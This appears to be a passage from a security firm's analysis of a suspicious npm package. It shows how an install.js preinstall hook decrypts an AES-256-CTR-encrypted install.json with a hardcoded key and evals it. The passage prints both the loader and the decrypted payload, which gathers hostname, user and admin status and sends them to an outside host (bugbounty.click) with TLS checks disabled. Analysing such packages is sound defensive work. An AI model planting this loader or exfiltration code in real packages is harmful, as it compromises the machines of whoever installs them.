AES-256 encryption and decryption
The install.js file indicates that the encryption algorithm used is AES-256, which has a 32 byte key length. AES-256 is practically unbreakable by brute force methods based on current computing power, making it the strongest encryption standard.
While npm rules prohibit malicious security research, they often ignored by security researchers. Such is the case here, which means that all the relevant information needed to decrypt the code is visible to us. Regardless, we found it useful as an exercise to show how easy it is to upload a malicious encrypted code to npm.
The necessary information to decrypt the JSON file is as follows:
- Cipher mode of decryption (CTR as stated in install.js)
- initialization vector (IV) used during encryption (stated at the beginning of install.json)
- Input format (HEX as stated in install.js)
- Secret key used for encryption (as stated in install.js under the variable ‘t’)
const e = require('crypto'), r = 'aes-256-ctr', t = 'QeThWmZq4t7w!z%C*F-JaNcRfUjXn2r5', c = (c) => { const n = e.createDecipheriv(r, t, Buffer.from(c.iv, 'hex')) return Buffer.concat([ n.update(Buffer.from(c.content, 'hex')), n.final(), ]).toString() } module.exports = { decrypt: c } const n = require('fs') n.readFile('install.json', (e, r) => { eval(c(JSON.parse(r))) })
Figure 3 – The install.js file being beautified and made more readable
The code will take the install.json file and decrypt it with a custom function c using createDecipheriv, which is a built-in function of the ‘crypto’ module. It is used to create a Decipher object, with the stated algorithm, key, and IV.
After applying the relevant information to decrypt the mysterious JSON file, we see the following code:
var os = require('os'); var hostname = os.hostname(); var username = os.userInfo().username; var platform = os.platform(); var dns; try { dns = require('dns'); } catch { } var admin_text; if (platform == 'win32' || platform == 'win64') { try { net_session = require('child_process').execSync('net session'); admin_text = 'admin'; } catch { admin_text = 'non-admin'; } username = require('child_process').execSync('systeminfo | findstr /B Domain').toString().replace('Domain:', '').trim() + '/' + username; } else { admin_text = os.userInfo().uid; try { const { execSync } = require('child_process'); let stdout = execSync('groups').toString().replace('\n', ''); admin_text += ' ' + stdout; } catch { } } try { dns.resolve4('i2gind2y83hr03sui7wppz4bi.canarytokens.com', function(err, addresses) {}); } catch { } process.env['NODE_TLS_REJECT_UNAUTHORIZED'] = 0; const https = require('https') const options = { hostname: 'bugbounty.click', port: 443, path: '/dc1234-bugbounty/knock-knock/log-install.php?Username=' + encodeURI(username + ' (' + admin_text + ')') + '&Hostname=' + encodeURI(hostname) + '&Package=support-center-components&PWD=' + __dirname, method: 'GET' } const req = https.request(options) req.end();
Figure 4 – Decrypted json.install file
The code first requires the ‘os’ module, which is used to get sensitive information such as the hostname and username of the user running this code. It then tries to acquire the admin status of the current user. From there, we see a check for the OS, followed by a check to see whether the user is an administrator. Finally, there is an HTTPS request to connect to the bugbounty.click website on port 443 and send a request for the log-install.php file.
As stated in the README file of the package: “if you’re reading this, then if I was a malicious hacker then I could have control over your machine.”
Grammatical issues aside, this is a true statement. As we can see in the package.json file, the command “preinstall”: “node install.js” executes install.js upon installation of the package from npm, which then executes the malicious code install.json. Install.json may contain any malicious harmful code.